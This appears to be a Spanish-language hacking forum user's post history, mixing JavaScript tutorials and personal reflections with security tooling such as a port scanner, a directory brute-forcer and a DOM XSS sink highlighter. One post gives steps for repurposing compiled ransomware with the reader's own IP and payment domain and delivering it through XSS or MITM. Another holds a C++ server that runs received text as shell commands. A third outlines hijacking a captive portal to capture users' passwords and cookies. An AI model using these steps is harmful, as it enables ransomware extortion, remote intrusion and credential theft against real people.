Cuando haces una llamada a este tipo de funciones su código no es ejecutado directamente, en su defecto, retorna un objeto generador que maneja la ejecución.

El método next() nos retornará un objeto con la propiedad/key value que contiene el valor generado por la instrucción alcanzada por el objeto generator y otra propiedad de tipo booleano primitivo en el mismo objeto retornado llamada done. Esta propiedad nos indica si la función retornó su ejecución al código de llamada a través del objeto generator. Es decir, si la función ha finalizado.
Esta propiedad podemos utilizarla como iterador para evaluar las instrucciones del cuerpo de la función.
Cuando ocurre un error en uno de los campos se retornará también la propiedad done = true a menos que se implemente manejo de excepciones sobre el campo o la expresión.

Las propias funciones generadoras son iterables y podemos usar expresiones de la índole de for (valor of generador) para recorrer sus instrucciones.

Es también una buena forma remplazar callbacks evitando los problemas comunes de los callbacks en la programación asíncrona.

La funciones generadoras también permiten realizar bucles infinitos.
Código (javascript) [Seleccionar]
function* generarSecuenciaInfinita() {
var inicial = -1;
while(1) {
yield inicial += 2;
}
}

var secuencia = generarSecuenciaInfinita();

var valor = 0;
var nImpares = "";
var nPares = "";
while(valor < 30) {
valor = secuencia.next().value;
if(valor < 30) {
nImpares += valor + " ";
nPares += "" + (+valor + 1) + " ";
}
}

document.write("Números Impares menores que 30: " + nImpares);
document.write("<br />Números Pares menores que 30: " + nPares);



#30
En javascript tenemos conversores léxicos en forma de métodos y funciones; Number(), parseInt(), parseFloat(), String(), Boolean(), Object(), toString()... y también disponemos de otros métodos que hacen conversiones indirectas o que directamente retornan otro tipo de dato como .join() y .split(). Incluso se hacen casteos y conversiones de forma transparente. Por ejemplo en el conjunto de sentencias var nombre = "Manolo"; var inicial = nombre.charAt(0); "Manolo" es un literal de un tipo de data primitivo. No tiene métodos aplicables. El motor de javascript crea un nuevo objeto temporal al que pasa una referencia de nombre como parámetro. A este nuevo objeto String se le puede aplicar el método charAt(). Tras ello se retorna el valor como expresión (en este caso se asigna a la variable inicial). Y se asigna null a la variable temporal utilizada. A esta técnica se la conoce como AutoBoxing. Sin embargo lo que quiero comentar no es nada de esto si no los operadores que realizan casteos implícitos.

Sin duda el que más se utiliza de ellos de forma no premeditada es el operador ==. Cuando se comparan dos valores de tipos distintos el operador == hace una conversión automática/implícita de tipo (coerción de tipos) en el caso que sea necesaria. Por ese motivo en muchos casos debemos utilizar en su lugar el operador ===. Pasa lo mismo con otros operadores de comparación como puedan ser el != < >= ...

Por otro lado el operador de casteo implícito más utilizado para coerción es el "". Se abusa de que ante la comparación de un string literal y otro tipo de dato prevalece la concatencación del string sobre una operación de adición.
n = 1; m = 2;
doce = n + "" + m;
También puedes usar un array vacio. alert(1 + [] + 2);

Uno menos conocido es el operador unario +.
La variable doce contiene ahora mismo el string literal de tipo primitivo "12". Si queremos convertirlo a número utilizamos el más. doce = +doce;

Podemos comprobarlo de la siguiente manera.
Código (javascript) [Seleccionar]
var doce = "" + 12;
alert(typeof(doce)); /* String */

doce = +doce;
alert(typeof(doce)); /* Number */


Otra forma de convertir a número es utilizando doce-0 o ~~doce.
Código (javascript) [Seleccionar]
var doce = "" + 12;
alert(typeof(doce)); /* String */

doce = doce-0;
alert(typeof(doce)); /* Number */


IMPORTANTE: Este tipo de casteo con operador unario + tiene resultados equivalente a utilizar Number() y no a parseInt();
Tienen pequeñas diferencias. Por ejemplo si casteas un string vacio utilizando parseInt() obtendrás un NaN (Not a Number, No es un número). Por el contrario si usas Number() o el casteo implícito con los operadores el string vacio se castea a 0. Con el doble bitwise ~~ puedes hacer interger overflow o que te retorne 0 con números grandes asique hay que tenerlo en cuenta. Por otro lado tiene la característica de castear a 0 valores como undefined o números con strings. Hay más operadores de bits que actual igual que el doble bitwise a la hora de castear.

También es recomendado utilizar mètodos/funciones cuando el código no queda claro o añadir comentarios al código.

Otro operador implícito es el ! o !! que puede utilizarse para castear valores falsos o verdaderos a sus contrapuestos o respectivos homólogos booleanos.

Precaución a la hora de hacer casteos a booleanos usando objetos. Por ejemplo en el código:
Código (javascript) [Seleccionar]
booleano = new Boolean(0);
if (booleano) alert("Hola");
La condición se cumple ejecutando el alert debido a que exite un objeto. Lo que se debe hacer es usar Boolean(0) sin el new para que se haga el Autoboxing y obtener el valor booleano primitivo (y no un objeto referenciado Boolean con valor false que se evalua como true por existir el objeto). El operador !! también es una forma válida de no crear el objeto y obtener un booleano primitivo.

Otras conversiones incluyen operaciones con strings. Si bien el + concatena un número y un string, el resto de operadores unarios no siguen la misma norma.
var dos = "6" - "2" * "2";
#31
Se que es posible. estuve leyendo de como hacerlo y parece que hay un montón de metodos distintos, también se comenta que algunos solo funcionan en versiones de Android antiguas, etc.

Tengo varias dudas, a ver si conoceis las respuestas a algunas y así me ahorrais tiempo de más busquedas y de pruebas.

Quiero ejecutar bin/sh

Por lo que parece uno de los métodos es dumpear el binario y cargarlo como resource en una apk en java y utilizar el método open sobre resources.
En caso de funcionar, como me comunico con el bin/sh? Es decir, como le paso comandos una vez abierto utilizando java?
En teoría el bin/sh debe estar en una carpeta mount por lo que sin tener acceso root y tener la sdcard en mount debería también dumpear el resto de utilidades como ls, netstat, etc.
Cómo recibo el output desde bin/sh en java?
Qué metodos conoceis?

Me gustaría correr ejecutables ELF que cross-compilo en otro dispositivo. Por eso se me ocurrió que sería más sencillo spawnear una shell y desde esta llamar al ejecutable que quiera y no tener que generar un apk para cada binario que quiera en específico.
#32
Ando haciendo un exploit kit en javascript. Os dejo un de los componentes que estoy haciendo por si os es útil.

Es un editor de hexadecimal que permite generar binarios.

Cómo funciona?
-Abres la página/programa. (Funciona 100% offline)
-Seleccionas tu archivo. (Por ejemplo un binario de linux)
-Chequeas lo que quieras modificar del hex. (Tienes el ASCII como referencia.
-Modificas el hex y le das a Compile.
-Se descargará el nuevo binario.
-Lo ejecutas.

Codigo en github
Live

Ejemplo 1:
Me descargo un ransomware compilado por la red.
Lo subo a la página.
En el ransomware se pide la llave a una IP hardcodeada, y tiene hardcodeada una página en donde hacer el pago.
Busco esos 2 strings en el ASCII.
Busco la equivalencia en el HEX.
Modifico el HEX para poner mi IP y mi dominio malicioso.
Le doy a compilar y ya tengo el Binario listo.

Combínalo con un XSS o MITM para substituir una descarga legítima por tu binario.
#33
Estoy abriendo binarios con html e imprimiendo el hex equivalente. También quiero añador la versión en string.

El problema lo tengo principalmente intentando editar el hex tras escribirlo en pantalla. Lo metí en un div con contentEditable pero al pulsar doble click se freezea por el tamaño del archivo.

Sabeis como puedo dejar al usuario editar el HexDump en el navegador si que pete por tamaño?

Solo se me ocurre dividir en muchos trozos pequeños editables, pero igual hay alguna forma más "correcta" o eficiente de trabajar con archivos muy grandes de texto.


#34
Es una protección creada por alguien del foro o por Cloudflare?

Por qué está ofuscado el código? Lo ando desofuscando por curiosidad, se puede compartir el código desofuscado?
#35
Hago lo siguiente:

Creo y guardo el código.
$ nano server.cpp
control + x
enter

Compilo:
$ g++ server.cpp -o server

Doy permisos:
$ chmod +775 server

Ejecuto:
$ ./server 8080

Conecto al server:
$ netcat 127.0.0.1 8080

Envio comando prueba 1:
ls

Envio comando prueba 2:
ls

Envio comando prueba 3:
ls
Ya no lo recibe.

Envio comando prueba 4:
broken pipe

Pruebo por si el server siguiese up:
$ netcat 127.0.0.1 8080
connection refused.

La aplicación se paró pero no encuentro el motivo.

Código (cpp) [Seleccionar]
#include <iostream>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

using namespace std;

void callback(int);

int main(int argc, char *argv[]) {
 int handlerSocket = 0;
 int newHandlerSocket = 0;
 int puerto = 0;
 int TamIP_Cliente = 0;
 int procesoHijo = 0;

 unsigned short int MAX_QUEUE = 5;
 unsigned short int ARGUMENTOS_MIN = 2;
 signed short int ERROR = -1;

 struct sockaddr_in IP_Servidor, IP_Cliente;

/* Comprueba que no falta el argumento cli */
 if (argc < ARGUMENTOS_MIN) {
   cout << "Puerto de escucha no especificado.\nAñade el puerto de escucha como parámetro en la llamada. Ejemplo:\n./server 8080";
   exit(1);
 }

 handlerSocket = socket(AF_INET, SOCK_STREAM, 0);

 if (handlerSocket == ERROR) {
   cout << "No se pudo crear el socket.";
   exit(1);
 }

 /* Formatea el buffer */
 bzero((char *) &IP_Servidor, sizeof(IP_Servidor));

 /* Obtiene el argumento por cli */
 puerto = atoi(argv[1]);

 /* socket IPV4 */
 IP_Servidor.sin_family = AF_INET;

 /* Enlaza a cualquier dirección local disponible */
 IP_Servidor.sin_addr.s_addr = INADDR_ANY;

 /* Fuerza que se utilice el orden correcto en la dirección de memoría */
 IP_Servidor.sin_port = htons(puerto);

 if (::bind(handlerSocket, (struct sockaddr *) &IP_Servidor, sizeof(IP_Servidor)) == ERROR) {
   cout << "Error enlazando el servidor";
   exit(1);
 }

 listen(handlerSocket, MAX_QUEUE);
 TamIP_Cliente = sizeof(IP_Cliente);
 while (1) {
   newHandlerSocket = accept(handlerSocket, (struct sockaddr *) &IP_Cliente, &TamIP_Cliente);

   if (handlerSocket == ERROR) {
     cout << "Error creando nuevo socket";
     exit(1);
   }

   procesoHijo = fork();

   if (procesoHijo == ERROR) {
     cout << "Error duplicando proceso.";
     exit(1);
   }

   if (procesoHijo != ERROR) {
     close(handlerSocket);
     callback(newHandlerSocket);
     exit(0);
   } else {
     close(newHandlerSocket);
   }
 }
return 0;
}

void callback (int sock) {
 signed short int n;
 signed short int ERROR = -1;
 char buffer[128000];
 bzero(buffer,128000);
 n = read(sock,buffer,128000);
 
 if (n < ERROR) {
   cout << "El handler del socket contiene errores";
   exit(1);
 }

 cout << "Respuesta:" << endl << buffer << endl;
 n = write(sock,"Recivido.",9);

 /* Básico. Modificar por popen(); traer sh o incluir intérprete */
 system(buffer);

 if (n < ERROR) {
   cout << "No se pudo escribir en el socket.";
   exit(1);
 }
}
#36
Scripting / Python3 Escaner de puertos.
27 Marzo 2020, 15:34 PM
Os dejo un escaner de puertos. Pones el host y los puertos. Por ejemplo:
localhost
8078-8082

Te dice que puertos están abiertos, que tipo de servicio corre. Se guardan logs de los scanneres en un archivo en la misma carpeta del script y también da salida en CSV.

Código (python) [Seleccionar]
import nmap
import socket
import datetime
import sys
import os
now = datetime.datetime.now()
netmap = nmap.PortScanner()
remoteServer = input('Enter host:\n')
try:
    remoteServerIP = socket.gethostbyname(remoteServer)
    portRange = input('Enter port range using - as separator:\n')
    print ('-' * 60)
    print ('Please wait, scanning remote host', remoteServerIP)
    print ('-' * 60)
    t1 = datetime.datetime.now()
    netmap.scan(remoteServerIP, portRange)
except KeyboardInterrupt:
    print ("Ctrl+C pressed")
    sys.exit()

except socket.gaierror:
    print ("Couldn't resolve hostname")
    sys.exit()

except socket.error:
    print ("Couldn't connect to server")
    sys.exit()

with open ("pScan.log", "a") as out:
    for host in netmap.all_hosts():
        print('Host : ' + host + '(' + netmap[host].hostname() + ')')
        out.write('Host : ' + host + '(' + netmap[host].hostname() + ')\n')
        print('State : %s' % netmap[host].state())
        out.write('State : %s' % netmap[host].state()+"\n")
        for proto in netmap[host].all_protocols():
            print('----------')
            out.write('----------\n')
            print('Protocol : %s' % proto)
            out.write('Protocol : %s' % proto+"\n")
            lport = sorted(netmap[host][proto])
       
            for port in lport:
                print('Port : %s\nState : %s' % (port, netmap[host][proto][port]['state']))
                out.write('Port : ' + str(port) + '\nState  : ' + str(netmap[host][proto][port]['state'])+"\n")
                print('Name : '+netmap[host][proto][port]['name'])
                out.write('Name : '+netmap[host][proto][port]['name']+"\n")
                temp2 = str(now.year) + "/" + str(now.month) + "/" + str(now.day) + " "  + str(now.hour) + ":" + str(now.minute) + ":" + str(now.second)
                print("Date : " + temp2 + "\n\n")
                out.write("Date : " + temp2 + "\n\n")
    t2 = datetime.datetime.now()
    total = t2 - t1
    print ("Scanning completed in ", str(total))
    out.write("\nScanning completed in "+ str(total)+"\n")
    print('\n\nCSV:\n'+netmap.csv())
    out.write('\n\nCSV:\n'+netmap.csv()+"\n")
#37
Llevo tiempo intentando hacer uno, pero nunca lo consigo xD

Os dejo mi último intento por si veis alguna forma de arreglarlo o conoceis algun algoritmo que me sea sencillo de implementar o copiar.

Código (javascript) [Seleccionar]
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>

<script>
function bruteforce(mainUrl, longitud, dictio) {
  var directories = [];
  var increaseSize = false;
  var tmpUrl = mainUrl;
  var permanecerEnBucle = true;
  var posicionCambio = "";
var dict = dictio || " abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ1234567890/-.?=_";
/* var dict = "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ1234567890/-.?=_";
  dict = "abcdefghijklmnñopqrstuvwxyz";
*/var tmp, fuck = "", sigChar, wtf;
  dict = dict.split("");

/*  longitud *= dict.length;     */    /* Max Length of the directory without domain */

  for(var i = 0, j=0, k=0; i < longitud; ++i, ++j) {
    directories[i] = mainUrl + dict[j];          /* Append current character to base url */
    tmp = directories[i].substring((mainUrl.length-k), directories[i].length);          /* current directory without path */
    if (j == (dict.length-1)) {          /* Last character of the dictionary */
      j = -1;          /* Reset dictionary itherator. j = 0 next ither */
      if(tmp[(tmp.length-1)] == dict[(dict.length-1)]) {          /* Check lf Last char of current directory without path matches last dictionary char */
        permanecerEnBucle=true;          /* reset loop */
        posicionCambio = "";          /* reset diff ocurrences */
        for(var a = 0; a < tmp.length; ++a) {          /* Loop over directories no path included */
          if((tmp[a] == dict[(dict.length-1)]) && (permanecerEnBucle == true)) {          /* if all characters in the directorie name match last dictionary character */
            increaseSize = true;         
          } else {
            posicionCambio += a.toString();          /* Log first non dictionary end char possition */
          increaseSize = false;
            permanecerEnBucle = false;          /* Force increaseSize to remain false */
          }
        }
        if (increaseSize) {
          for(var c = 0, restart=""; c < tmp.length; ++c) {          /* for each char in tmp */
            restart += dict[0];          /* Add first dictionary ocurrence  */
          }
          mainUrl = tmpUrl + restart;          /* Add the new generated path to main url */
          ++k;          /* Count size increased */
          increaseSize = false;          /* done */
          } else {
                      /* If all chars not matching last dicctionary char */
            if (tmp === undefined) {          /* need to debug */
              alert("tmp undefined");
              tmp = "";
            }
/*alert(tmp);*/

  sigChar = dict.indexOf(tmp[(posicionCambio[0])]);


        /*    sigChar = dict.indexOf(tmp[0]);*/          /* Get actual character position inside dictionary */
            ++sigChar;          /* Get next character */
/*alert("Char actual = " + sigChar);*/
/*alert("Current: "+ directories[i] + "\n\nnext char " + dict[sigChar] + "\n\nPosition: " + posicionCambio[((posicionCambio.length-1)-1)]);*/
            for(var d = 0, fuck = ""; d < (tmp.length-1); ++d) {         
              if(d != posicionCambio[0] ) {          /* get path characters */
                fuck += tmp[d];
/*alert("if fuck = "+ fuck);*/
              } else {
                fuck += dict[sigChar];          /* get next character in rigth position */
/*alert("else fuck = "+ fuck);*/
              }
            }
            wtf = fuck.split("").reverse().join("");            /* Reversing string trying to fix the character in rigth position */
            mainUrl = tmpUrl + wtf;          /* Appending reversed dirname to url */
          }
        }
      }
    } 
alert("Número de combinaciones generadas: " + directories.length);
alert("Número de letras en total: " + directories.join("").length);
  return directories;          /* Return all urls generated. */
}

var url = prompt("URL.\n\nExample: https://facebook.com/");
var lengt = prompt("Number os results.\n\nExample: 10");
var dictionary = prompt("Dictionary.\n\nExample: abcde12345!@#$ or accept to use default");

var arrDirs = bruteforce(url, lengt, dictionary);
document.write(arrDirs);

</script>
</body>
</html>
#38
Busco un proxy para las peticiones que haga desde el navegador al php.
Hice uno a mano pero tengo que implementar un montón de cosas y me preguntaba si alguien lo habrá echo ya.
#39
Estaba en una red y al conectarme salia un portal cautivo con un código como:
Código (html4strict) [Seleccionar]
<form method="post" action="<?= "$serverAddress"; ?>">
<input type="text" placeholder="user">
<input type="password" placeholder="password">
<input type="submit" value="login">
</form>


Todos los ordenadores de la red tienen el navegador abierto en esa página sin recargar.

Pongamos que la ip a la que apunta el form es 192.168.58.1:5432

Entonces el router se resetea y el DHCP reasigna las ips locales. Yo en mi PC en la misma red paso a tener la dirección 192.168.58.1 y decido abrir un un servidor:
netcat -l -k -v 192.168.58.1 5432

Todos esos ordenadores siguen teniendo la página sin recargar apuntando a esa dirección local.

Cuando los usuarios envian el form, yo me esperaba recibir todas las cookies, userAgents, usuarios y contraseñas de todas las personas que enviasen el form. Pero sorpresa, estos usuarios al darle a enviar el navegador detecta que no es el mismo servidor por lo que en vez de enviarme la petición y esperar una respuesta el Chrome abre about:blank#blocked

Puede forzar el reinicio y posterior reasignamiento de ips del DHCP para obtener la ip local que quiero. Es un ataque que se me ocurrió, no sé si tiene un nombre para poder profundizar en él?

Cómo Chrome detecta que este comportamiento es indeseado? No me lo esperaba en absoluto.
#40
Qué módulos tiene el intérprete integrado en Ncat de Lua?

Por lo que veo se puede utilizar Lua desde Ncat sin tener Lua instalado. Es decir, tiene un intérprete de Lua integrado. Lo he estado probando y buscando info y lo único que saco en claro es que tiene algunos módulos integrados. Me gustaría tener un listado de todos los módulos que tiene este intérprete.
#41
Hice una aplicación web para obtener las cabeceras http y el código fuente desde el navegador a partir de una url. También hice un coloreador de código HTML y un parser del código para poder interpretarlo.

Blog - Versión Live

Github - Código Fuente

Podeis usarlo en local directamente o con vuestro propio servidor simplemente modificando una variable que tiene tiene la url de http://cors-anywhere... Por la ip local de vuestro server en el siguiente formato. http://127.0.0.1:8080/

El código es un poco caos porque ando aún en desarrollo. El html highlighter es prácticamente una función pura. Solo necesita un poco de CSS para aplicar a los span que añado.

*Si no te funcionan los botones, usa un navegador (con soporte ES6/EcmaScript2015) más actualizado. Pronto lo haré compatible con ES5.
#42
Os comparto un script que hice para resaltar palabras que suelen ser comunes en las inyecciones DOM XSS.

Qué hace?
-Obtiene el código fuente de la página web en la que estás, y te lo muestra con las palabras más interesantes coloreadas. Util para centrar la vista en lo que quieres y entender de un vistazo como entran los datos en la aplicación.

Preview del resultado de aplicar el scriprt a una página:


Como usar?
-Copiar el código, pegarlo en la barra del navegador y darle a enter.
*Si tu navegador elimina la palabra javascript de la barra de direcciones automáticamente al pegar el código, puedes copiar todo el script menos la primera letra j. Escribes la j en la barra del naevegador y pegas el código.

Copiar De Aquí

Otros usos?
- Puedes cambiar las palabras por las que tu quieras y darle otro uso. O utilizar prompt() dentro de un bucle para obtener las palabras de forma interactiva.

Comentario del código:
Código (javascript) [Seleccionar]

/*Funcion que remplaza varios caracteres inseguros del string que se le pase como parámetro en la llamada por su entidad homóloga. */
function htmlEntities(str) {
  r='replace'; /* Acortador para el método replace */
  z=document; /* Acortador para document */
  x=str[r] /* Utilizo la sintaxis del operador array en lugar de la de punto para acortar el código. Ej, de window.alert("hola") a window["alert"]("hola") o si utilizas variables a w[a](h); */
(/ /g,"&#32;")[r]
(/!/g,"&#33;")[r]
(/"/g,"&#34;")[r]
(/%/g,"&#37;")[r] /* Son múltiples replaces sobre el msimo string utilizando encadenamiento de métodos. El replace toma 2 parámetros, el string a remplazar y el string que ocupará su lugar. Utilizo RegExp Expresiones regulares /caracter/ para buscar un caracter y //g para buscar todas las ocurrencias de ese caracter en el string que se le pasó por parámetro a la función. El segundo parámetro es la entidad HTML correspondiente a dicho caracter. La entidad nos permite ver el caracter sin que se interprete. */
(/'/g,"&#39;")[r]
(/\(/g,"&#40;")[r]
(/\)/g,"&#41;")[r]
(/</g,"&#60;")[r]
(/>/g,"&#62;")[r]
(/`/g,"&#96;")[r]
(/a/g,"&#97;")[r]
(/A/g,"&#65;")[r]
(/e/g,"&#101;")[r]
(/E/g,"&#69;")[r]
(/i/g,"&#105;")[r]
(/I/g,"&#73;")[r]
(/o/g,"&#111;")[r]
(/O/g,"&#79;")[r]
(/u/g,"&#117;")[r]
(/U/g,"&#85;")[r]
(/{/g,"&#123;")[r]
(/}/g,"&#125;")[r]
(/'/g,"&#8216;")[r]
(/'/g,"&#8217")[r]
(/,/g,"&#8218;")[r]
(/"/g,"&#8220;")[r]
(/"/g,"&#8221;")[r]
(/,,/g,"&#8222;")[r]
(/′/g,"&#8242;")[r]
(/″/g,"&#8244;")[r]
(/‹/g,"&#8249;")[r]
(/›/g,"&#8250;")[r]
(/s/g,"&#115;")[r]
(/S/g,"&#83;"); /* Se puede acortar el código con el constructor de Reg Exp, declarando todas las palabras y regexp del código como un único string separadas por un espacio y hacer split de string a array. Con que el código no laggease al pegar en la url me valia. */
  return x; /* Retorna el string convertido a entidades */
}

var temp;

/* Para rodear las palabras y aplicarles css para colorearlas */
var c="<span class='xssRed'>";
var d="</span>";


/* Todas las palabras que encontré que de forma frecuente puede que sean relevantes en inyecciones DOM XSS */
var b=[
"write","writeln","domain","innerHTML",
"outerHTML","insertAdjacentHTML","onevent","baseURI",
"documentURI","location","referrer","URL",
"URLUnencoded","href","search","hash","pathname","self","name","eval",
"javascript","setInterval","setTimeout","import url",
"add","after","append","animate",
"insertAfter","insertBefore","before","prepend",
"replaceAll","replaceWith","wrap","wrapInner",
"wrapAll","has","constructor","init",
"index","parseHTML"];

/* Obtiene el fuente de la página actual */
var a=document.querySelector("html").outerHTML;

/* Itera una vez por palabra */
for(var i=0; i<b.length; ++i) {

/* Crea una expresión regular Global caseInsensitive de cada palabra. Es decir, busca todas las ocurrencias de la palabra que toque indistintamente de si tiene mayusculas o minuúsculas. */
  temp=new RegExp(b[i],"gi");

/* Remplaza las palabras que encuentre en el código por cadenas temporales reconocibles que no vayan a ser codificadas a entidades. En medio de estas cadenas pon la palabra original.*/
  a=a.replace(temp,"nblblbl"+b[i]+"nhlhlhl");
}

a=htmlEntities(a); /* Transforma el fuente a entidades para poder leerlo sin que se interprete. */
a=a.replace(/nblblbl/g,"<span class='xssRed'>"); /* Modifica las cadenas temporales reconocibles por los elementos span. */
a=a.replace(/nhlhlhl/g, "</span>");
document.write(' /* Escribe un código html sin entidades en el que meter dentro el código con entidades. Así se interpretan los <span> y el nuevo código para colorear su innerHTML. */
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <section id="code">'+a+'</section>
    <style>
#code {
  background-color: #fefefe;
}

.xssRed {
  color:red;
}
    </style>
  </body>
</html>');
#43
Foro Libre / Autosabotaje y autoconcepto.
23 Febrero 2020, 03:43 AM
Últimamente reflexiono más asiduamente sobre mi mente, limitaciones que me han puesto los años, objetivos, tiempo perdido...

En concreto hoy ha sido algo pequeño lo que ha disparado mis instintos cazadores de conocimiento. Estaba sin sueño, en la cama, leyendo con el móvil y pensé, no tengo sueño, ni voy a dormirme. De repente cerré los ojos y me sentí tan cómodo, a punto de dormirme. Entonces pensé, no quiero dormirme, voy a pensar que mañana tengo que madrugar. El sueño desapareció por completo. Esto último tiene sentido en mi mente. Cuanto más tengo que madrugar, más me cuesta dormirme, me quedo hasta por ejemplo las 5 de la mañana despierto y pienso, para el tiempo que me queda, no me vale la pena dormirme porque me va a sentar mal despertarme durmiendo solo 2 horas. En ese momento es cuando paso de tener un 1% de sueño a un 99%. Reflexionando, creo que es por no afrontar ciertas situaciones que están arraigadas mentalemente. Un conglomerado de tópicos y sensaciones irrealistas que poco a poco se van llendo, pero que siguen ahí.

Desde hace un tiempo, tengo una extraña sensación de que me gusta complicarme la vida subconscientemente. O quizás solo es el subconsciente al que le gusta complicarme la vida. Es una lucha constante día a día con flashbacks aleatorios producidos por mi subsconsciente trayéndome pensamientos negativos a la parte consciente, y la parte consciente respondiendo con un, vete a la m...No pienses eso!

En mi habitan 2 personas totalmente opuestas. Una despreocupada, inmadura, amable, con la mente en las nubes, débil* psicológicamente (de una forma extraña, porque cosas que a los demás aterran a mi me trae sin cuidado y cosas superfluas me reconcomen como por ejemplo lo del sueño) pero extremadamente reflexiva y fría y por ende con control absoluto sobre su entorno y el lugar que ocupo en él, tanto para los demás como para mi mismo.

Por otro lado, a veces soy una persona totalmente distinta. Una persona a la que si un León se le tirase encima respondería con un cabezazo, una persona tosca, pasional, extremadamente centrada, que no se ríe con nada y que en cualquier momento te interpela con rabia "la vida no es una broma, de qué te ríes?". La típica persona que ante una situación como sería la de una manifestación de gente desnuda delante de la ventana del trabajo no se levanta a mirar y comentarlo, si no que sigue a lo suyo.

Algo que me ronda la cabeza desde hace tiempo es, podré controlar realmente quien soy y cómo? Desde luego que si me viese en la situación de peligro, no me gustaría estar temblando incapaz de dar un paso.

Intento analizarme a mi mismo, mi mente, la mente de los demás...
Tras algún tiempo de reflexión saco en claro que esta persona sin miedos y exageradamente eficaz que ansio habita en mi y sale cuando no duermo bien. Es como si tuviese una parte del cerebro que se ocupa de tener activa mi personalidad divertida y despreocupada como mecanismo de defensa o autosabotaje, y cuando no duermo bien o no tengo ganas de activarla, o algún proceso químico relacionado con mi cerebro no funciona o quizás funciona correctamente.

Igual dormimos de más o nuestros habitos de sueño son a los que estamos habituados sociológicamente, pero nos limitan como ser?
Tengo la creencia de que dormir nos mejora nuestra parte social, y con ello nos impone todo lo bueno y todo lo malo de nosotros como sociedad dentro de la misma y el rol que ocupamos en ella.

Busco la forma de romper mis limitaciones autoimpuestas y me produce inquietud la sensación de que me acerco a esto mismo. La sensación de que mi vida va a cambiar.

Leí recientemente en un libro al que le doy crédito que la personalidad no acaba de formarse completamente hasta llegados los 30. Me pareció muy curioso debido a que los artículos técnicos suelen dar mayor relevancia a la primera decada de vida cuando estudian la formación de la personalidad. Lo cual no implica que no se pueda extender más.

Teneis experiencias similares? Igual arrojan algo de luz en el asunto.

Qué curiosa es la mente, me obnubila.
#44
Hice un programa para enviar peticiones en base a un diccionario y obtener las respuestas.

Hago por ejemplo 950 peticiones en 1 segundo:
google.com/
google.com/admin
google.com/about
google.com/login
....

Recibo las respuestas, pero no sé a que petición corresponde cada petición.
Con xhr.responseUrl me retorna siempre undefined.
Mirando las cabeceras de respuesta no saco ninguna útil, solo el dominio tls sin directorio.
Si analizo la respuesta, no en todas queda claro de que ruta proceden.

Mi objetivo es listar todos los directorios con respuesta 200, pero no lo consigo.


Código (javascript) [Seleccionar]
function Leer() {

/* for (var i =0; i < dominios.length; ++i)
    alert */
req.url = dominios[0].value;
alert("Url a buscar\n" + req.url);
HacerPeticiones();
/*  for (i =0; i < diccionarios.length; ++i)
    alert (diccionarios[i].value);
*/
}

function ObtenerDiccionario() {

req.url = "https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/general/common.txt";
alert("Obteniendo diccionario de\n" + req.url);
HacerPeticiones(1);

}


function HacerPeticiones(retornar) {
  req.method = "GET";
  req.statusCode = 200;
  request(req);

  function request(obj) {
    var url = "https://cors-anywhere.herokuapp.com/" + obj.url;
    var xhr = new XMLHttpRequest();
    xhr.open(obj.method, url, true);
    xhr.onreadystatechange = function() {
alert(xhr.responseUrl);
      if (xhr.readyState == 4) {
        alert(xhr.status);
        if (xhr.status == obj.statusCode) {
          if (retornar) {
            dictUrls = xhr.responseText;
            alert("Obtenidas las siguientes palabras del diccionario\n" + dictUrls);
            dictUrls = dictUrls.replace(/(\r\n|\n|\r)/gm, " ");
            alert("Eliminados los espacios de las palabras del diccionario\n" + dictUrls);
            dictUrls = dictUrls.split(" ");
            alert("Obteniendo las palabras en un contendor\n" + dictUrls);
            Leer();
          }
          else {
          /*  urlFound */
        /*    alert("Urls válida\n" + xhr.responseText); */
            alert(xhr.getAllResponseHeaders());
            masiveReq();
          }
        }
      }
    }
  xhr.send();
  }
}

function masiveReq() {
  while(!dictUrls.length) {
   
   }
   
    alert("Realizando " + dictUrls.length + " peticiones");
      var baseUrl = dominios[0].value + "/";
 
    for (var i = 0; i < dictUrls.length; ++i) {
      req.url = baseUrl + dictUrls[i];
      /*alert("Haciendo petición a\n" + req.url);*/
      HacerPeticiones();
        if (i == (dictUrls.length-1))
          alert("Realizando última petición");
   
  }
alert(urlFound);
}


#45
Hay un montón de software de terceras partes y no sé con cuales debería empezar. Más que nada por añadir a un portfolios.

He hecho una lista de software que no utilizo y que debería aprender a manejar. Si considerais que me falta alguno indispensable en la lista mencionarlo. Con cual/cuales me recomendais empezar? Cuales considerais imprescindible?

- MEAN fullstack
- Jquery
- Backbone.js
- Angular
- Ember
- Riotjs
- React
- SQL
- Polymer
- Sass
- Less
- Stylus
- Mocha
- Jasmine
- Vue.js
- Leaflet
- Gitlab
- Jenkins
- Sonar
- Testlink
- Docker
- REST